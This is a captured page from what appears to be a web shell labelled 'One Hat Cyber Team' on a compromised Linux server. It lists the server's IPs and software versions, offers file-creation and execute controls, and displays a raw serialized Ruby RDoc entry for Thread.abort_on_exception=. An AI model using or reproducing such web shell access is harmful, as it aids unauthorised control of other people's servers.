⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
2.7.0
/
system
/
Thread
/
View File Name :
abort_on_exception%3d-c.ri
U:RDoc::AnyMethod[iI"abort_on_exception=:ETI" Thread::abort_on_exception=;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"GWhen set to +true+, if any thread is aborted by an exception, the ;TI"<raised exception will be re-raised in the main thread. ;TI"Returns the new state.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"&Thread.abort_on_exception = true ;TI"t1 = Thread.new do ;TI" puts "In new thread" ;TI"% raise "Exception from thread" ;TI" end ;TI"sleep(1) ;TI"puts "not reached" ;T:@format0o; ; [I"This will produce:;T@o;; [ I"In new thread ;TI"5prog.rb:4: Exception from thread (RuntimeError) ;TI"% from prog.rb:2:in `initialize' ;TI" from prog.rb:2:in `new' ;TI" from prog.rb:2 ;T; 0o; ; [I"#See also ::abort_on_exception.;T@o; ; [I"OThere is also an instance level method to set this for a specific thread, ;TI"see #abort_on_exception=.;T: @fileI" thread.c;T:0@omit_headings_from_table_of_contents_below0I";Thread.abort_on_exception= boolean -> true or false ;T0[ I" (p1);T@+FI"Thread;TcRDoc::NormalClass00